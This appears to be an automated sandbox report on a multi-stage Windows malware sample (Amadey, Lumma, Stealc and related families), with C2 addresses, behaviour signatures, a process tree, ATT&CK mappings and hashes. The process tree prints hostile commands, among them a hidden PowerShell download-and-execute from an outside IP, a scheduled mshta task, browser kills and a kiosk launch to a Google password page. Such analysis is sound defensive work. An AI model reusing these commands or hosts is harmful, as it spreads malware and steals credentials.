Overview

overview

10

Static

static

5

random.exe

windows7-x64

10

random.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    29/03/2025, 13:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    random.exe

  • Size

    938KB

  • MD5

    ed19338ae7b4f14a6300a82555194914

  • SHA1

    c4b17e900215a704197817f8d419b40a07d687e8

  • SHA256

    7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa

  • SHA512

    64fc35627f5790aa025d05515e8b353ed7825f0cfaf975304933d33b219ccbf7e8e41f9f83152a0a8315568b5195dbbb669d446f6a58f5d3f3a9b9937d16ddca

  • SSDEEP

    24576:9qDEvCTbMWu7rQYlBQcBiT6rprG8a0hu:9TvC/MTQYxsWR7a0h

Score
10/10
amadeygcleanerhealerlummastealc092155trumpbootkitdefense_evasiondiscoverydropperevasionexecutionloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://esccapewz.run/ANSbwqy

https://travewlio.shop/ZNxbHi

https://touvrlane.bet/ASKwjq

https://sighbtseeing.shop/ASJnzh

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://holidamyup.today/AOzkns

https://mtriplooqp.world/APowko

https://wxayfarer.live/ALosnz

https://70oreheatq.live/gsopp

https://0castmaxw.run/ganzde

https://weldorae.digital/geds

https://steelixr.live/aguiz

https://smeltingt.run/giiaus

https://ferromny.digital/gwpd

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 16 IoCs
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 20 IoCs
  • Identifies Wine through registry keys 2 TTPs 9 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 51 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 14 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 21 IoCs
  • Suspicious use of SendNotifyMessage 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\random.exe
    "C:\Users\Admin\AppData\Local\Temp\random.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2848
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn JQ03EmaJ66N /tr "mshta C:\Users\Admin\AppData\Local\Temp\V8iHZWhuo.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2904
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn JQ03EmaJ66N /tr "mshta C:\Users\Admin\AppData\Local\Temp\V8iHZWhuo.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2788
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\V8iHZWhuo.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2912
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RRVT6TTCCLZBJ5QMUX82HTIT4AJMJLUS.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Users\Admin\AppData\Local\TempRRVT6TTCCLZBJ5QMUX82HTIT4AJMJLUS.EXE
          "C:\Users\Admin\AppData\Local\TempRRVT6TTCCLZBJ5QMUX82HTIT4AJMJLUS.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1880
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2600
            • C:\Users\Admin\AppData\Local\Temp\10369360101\a9668c11e7.exe
              "C:\Users\Admin\AppData\Local\Temp\10369360101\a9668c11e7.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2024
            • C:\Users\Admin\AppData\Local\Temp\10369370101\83940b8e4a.exe
              "C:\Users\Admin\AppData\Local\Temp\10369370101\83940b8e4a.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1220
            • C:\Users\Admin\AppData\Local\Temp\10369380101\520e7d843f.exe
              "C:\Users\Admin\AppData\Local\Temp\10369380101\520e7d843f.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1848
            • C:\Users\Admin\AppData\Local\Temp\10369390101\4bea0f894f.exe
              "C:\Users\Admin\AppData\Local\Temp\10369390101\4bea0f894f.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:1912
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM firefox.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2912
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM chrome.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2624
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM msedge.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:1624
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM opera.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2752
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /F /IM brave.exe /T
                7⤵
                • System Location Discovery: System Language Discovery
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2524
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                7⤵
                  PID:2588
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                    8⤵
                    • Checks processor information in registry
                    • Modifies registry class
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:2560
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2560.0.841177299\1228958909" -parentBuildID 20221007134813 -prefsHandle 1276 -prefMapHandle 1268 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {90b6217d-424c-4dc3-8365-ec85a599c589} 2560 "\\.\pipe\gecko-crash-server-pipe.2560" 1348 43d9a58 gpu
                      9⤵
                        PID:1480
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2560.1.1048006703\1288002671" -parentBuildID 20221007134813 -prefsHandle 1552 -prefMapHandle 1548 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8e1662fe-69d4-4876-8686-1afe5a3e6c5c} 2560 "\\.\pipe\gecko-crash-server-pipe.2560" 1564 4303258 socket
                        9⤵
                          PID:1688
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2560.2.422405563\983282003" -childID 1 -isForBrowser -prefsHandle 2092 -prefMapHandle 2088 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9414912b-15fa-4b13-be0c-b08def85c3af} 2560 "\\.\pipe\gecko-crash-server-pipe.2560" 2104 4362c58 tab
                          9⤵
                            PID:2780
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2560.3.103411257\999676388" -childID 2 -isForBrowser -prefsHandle 2812 -prefMapHandle 2808 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {727e718d-9806-4e3f-8d9d-176aa0b83fc2} 2560 "\\.\pipe\gecko-crash-server-pipe.2560" 2824 1ce7d258 tab
                            9⤵
                              PID:2104
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2560.4.335734244\131977035" -childID 3 -isForBrowser -prefsHandle 3780 -prefMapHandle 3460 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {03e8a8b7-4a6d-41dd-8079-88cd83a5fee2} 2560 "\\.\pipe\gecko-crash-server-pipe.2560" 3884 205f8b58 tab
                              9⤵
                                PID:1264
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2560.5.51625914\844829355" -childID 4 -isForBrowser -prefsHandle 4000 -prefMapHandle 4004 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cfede792-180f-47ea-941e-d4034e302481} 2560 "\\.\pipe\gecko-crash-server-pipe.2560" 3988 205f8e58 tab
                                9⤵
                                  PID:2768
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2560.6.4732170\1397253487" -childID 5 -isForBrowser -prefsHandle 4112 -prefMapHandle 4116 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 840 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {60608fe0-ed70-4e7b-ae62-dc0efd09bcf2} 2560 "\\.\pipe\gecko-crash-server-pipe.2560" 4104 205f9458 tab
                                  9⤵
                                    PID:108
                            • C:\Users\Admin\AppData\Local\Temp\10369400101\e3e1d0eb7c.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369400101\e3e1d0eb7c.exe"
                              6⤵
                              • Modifies Windows Defender DisableAntiSpyware settings
                              • Modifies Windows Defender Real-time Protection settings
                              • Modifies Windows Defender TamperProtection settings
                              • Modifies Windows Defender notification settings
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2580
                            • C:\Users\Admin\AppData\Local\Temp\10369430101\80957ab95c.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369430101\80957ab95c.exe"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Loads dropped DLL
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious use of SetThreadContext
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3236
                              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                "C:\Users\Admin\AppData\Local\Temp\10369430101\80957ab95c.exe"
                                7⤵
                                • Downloads MZ/PE file
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:3428
                            • C:\Users\Admin\AppData\Local\Temp\10369440101\b9aa42eccd.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369440101\b9aa42eccd.exe"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Loads dropped DLL
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious use of SetThreadContext
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:3672
                              • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                "C:\Users\Admin\AppData\Local\Temp\10369440101\b9aa42eccd.exe"
                                7⤵
                                • Downloads MZ/PE file
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:3908
                            • C:\Users\Admin\AppData\Local\Temp\10369460101\Rm3cVPI.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369460101\Rm3cVPI.exe"
                              6⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4060
                            • C:\Users\Admin\AppData\Local\Temp\10369470101\54685a9cee.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369470101\54685a9cee.exe"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Writes to the Master Boot Record (MBR)
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2196
                            • C:\Users\Admin\AppData\Local\Temp\10369480101\TbV75ZR.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369480101\TbV75ZR.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:3264
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 3264 -s 44
                                7⤵
                                • Loads dropped DLL
                                PID:3380
                            • C:\Users\Admin\AppData\Local\Temp\10369490101\hYjiwV0.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369490101\hYjiwV0.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:3352
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 3352 -s 44
                                7⤵
                                • Loads dropped DLL
                                PID:3404
                            • C:\Users\Admin\AppData\Local\Temp\10369500101\EPTwCQd.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369500101\EPTwCQd.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:940
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 940 -s 28
                                7⤵
                                • Loads dropped DLL
                                PID:3628
                            • C:\Users\Admin\AppData\Local\Temp\10369510101\7IIl2eE.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369510101\7IIl2eE.exe"
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Drops file in Windows directory
                              • System Location Discovery: System Language Discovery
                              PID:3728
                              • C:\Windows\SysWOW64\CMD.exe
                                "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
                                7⤵
                                • Loads dropped DLL
                                • System Location Discovery: System Language Discovery
                                PID:3800
                                • C:\Windows\SysWOW64\tasklist.exe
                                  tasklist
                                  8⤵
                                  • Enumerates processes with tasklist
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3400
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /I "opssvc wrsa"
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3352
                                • C:\Windows\SysWOW64\tasklist.exe
                                  tasklist
                                  8⤵
                                  • Enumerates processes with tasklist
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3852
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3656
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c md 418377
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1192
                                • C:\Windows\SysWOW64\extrac32.exe
                                  extrac32 /Y /E Leon.cab
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3764
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /V "BEVERAGES" Compilation
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4000
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3620
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4076
                                • C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
                                  Passwords.com N
                                  8⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:1988
                                • C:\Windows\SysWOW64\choice.exe
                                  choice /d y /t 5
                                  8⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2800
                            • C:\Users\Admin\AppData\Local\Temp\10369520101\u75a1_003.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369520101\u75a1_003.exe"
                              6⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:3192
                            • C:\Users\Admin\AppData\Local\Temp\10369530101\bff3a096dd.exe
                              "C:\Users\Admin\AppData\Local\Temp\10369530101\bff3a096dd.exe"
                              6⤵
                              • Executes dropped EXE
                              PID:3312
                              • C:\Windows\system32\WerFault.exe
                                C:\Windows\system32\WerFault.exe -u -p 3312 -s 64
                                7⤵
                                • Loads dropped DLL
                                PID:3368

                  Network

                  MITRE ATT&CK Enterprise v15

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  1
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Create or Modify System Process

                  4
                  T1543

                  Windows Service

                  4
                  T1543.003

                  Pre-OS Boot

                  1
                  T1542

                  Bootkit

                  1
                  T1542.003

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Privilege Escalation

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Create or Modify System Process

                  4
                  T1543

                  Windows Service

                  4
                  T1543.003

                  Scheduled Task/Job

                  1
                  T1053

                  Scheduled Task

                  1
                  T1053.005

                  Defense Evasion

                  Impair Defenses

                  5
                  T1562

                  Disable or Modify Tools

                  5
                  T1562.001

                  Modify Registry

                  7
                  T1112

                  Pre-OS Boot

                  1
                  T1542

                  Bootkit

                  1
                  T1542.003

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Credential Access

                  Unsecured Credentials

                  1
                  T1552

                  Credentials In Files

                  1
                  T1552.001

                  Discovery

                  Process Discovery

                  1
                  T1057

                  Query Registry

                  6
                  T1012

                  System Information Discovery

                  3
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  Virtualization/Sandbox Evasion

                  2
                  T1497

                  Lateral Movement

                  Collection

                  Data from Local System

                  1
                  T1005

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DJB1KT77\soft[1]
                    Filesize

                    3.0MB

                    MD5

                    2cb4cdd698f1cbc9268d2c6bcd592077

                    SHA1

                    86e68f04bc99f21c9d6e32930c3709b371946165

                    SHA256

                    c89a0fea7c3850c8bf4b6a231a34cfb699c97783b1b2b1176070dd4d9cb4bd4a

                    SHA512

                    606216ce50d2c89f4700fd3f8853b09f5626615cac64bfe304c15524a908b4a220abed1a023b0f099d390a2e5b14e1dc4f94840aa398658188ad299c93939de3

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPUI9R2R\service[1].htm
                    Filesize

                    1B

                    MD5

                    cfcd208495d565ef66e7dff9f98764da

                    SHA1

                    b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

                    SHA256

                    5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

                    SHA512

                    31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\o97f221x.default-release\activity-stream.discovery_stream.json.tmp
                    Filesize

                    23KB

                    MD5

                    3b3f9d143afe54c509e988d3e5c20174

                    SHA1

                    a662896d8c11c723fbbf632bf384c51ba2d64b9c

                    SHA256

                    a7ac8b2363bb2db969243146b5aecd407522005e0094ff4c728ed71610953772

                    SHA512

                    c88b668bebbfca13b2a86b7b747624df806e88639c32b9463b754694915b0a418bce7130d5383114baf7e69388c33c13b730db4f0b69e0cecd528c507989e9b2

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\o97f221x.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
                    Filesize

                    15KB

                    MD5

                    96c542dec016d9ec1ecc4dddfcbaac66

                    SHA1

                    6199f7648bb744efa58acf7b96fee85d938389e4

                    SHA256

                    7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

                    SHA512

                    cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10369360101\a9668c11e7.exe
                    Filesize

                    1.8MB

                    MD5

                    d0cbe9aac0d5776545e7d4b711d6f821

                    SHA1

                    628b4b7c5f1b207f09b1df48ea0eb1e854d0214e

                    SHA256

                    ceac78262795d24823183f8117e6f4c779ac65f4fb1d7144dcc7187e5a09a38f

                    SHA512

                    f0f73350a709ea244fc89ea73dda7993ad0b3b2e8394809954bfb33b44424c50138a461fe50bf61914028ab34ab908e36aea3fafcfd1dc8ec5dfd96f6ae3278d

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10369370101\83940b8e4a.exe
                    Filesize

                    2.8MB

                    MD5

                    ecff590568143edfc92c573a5eae5233

                    SHA1

                    0071b9e96909531a2ccab14061dd6df27d9db7a3

                    SHA256

                    6b49588779d6a9c56b2d433acea7d57783694e21b48713319ed3374c45665fc5

                    SHA512

                    a222c6987ae5aaa966df181c2269668750fabe210c4d73dc7605b8881b17699de0c1a8b0f753ceb670979356aa8ba03e82fffe766c30ca00d8af46c0f0153351

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10369380101\520e7d843f.exe
                    Filesize

                    1.8MB

                    MD5

                    ae29aa6f4a0e1b29afe1b1b8ca912adf

                    SHA1

                    a05d14e2ed51a4eeebe8103aad6807051677b5c6

                    SHA256

                    f2edd51e6e92a4fe11bd6a86183fd0e34c87fe2c98f3f268d0cdc16d63124ac5

                    SHA512

                    79aae0dc84427fbe4a9f634e491f248363b2ad8115d98e6f447d80a71866def6b2e5e479480588b64b944afd71c598b2cdf1533719dd073a1de87c343c8b4589

                    Download Submit

                  • C:\Users\Admin\AppData\Local\Temp\10369390101\4bea0f894f.exe
                    Filesize

                    947KB

                    MD5

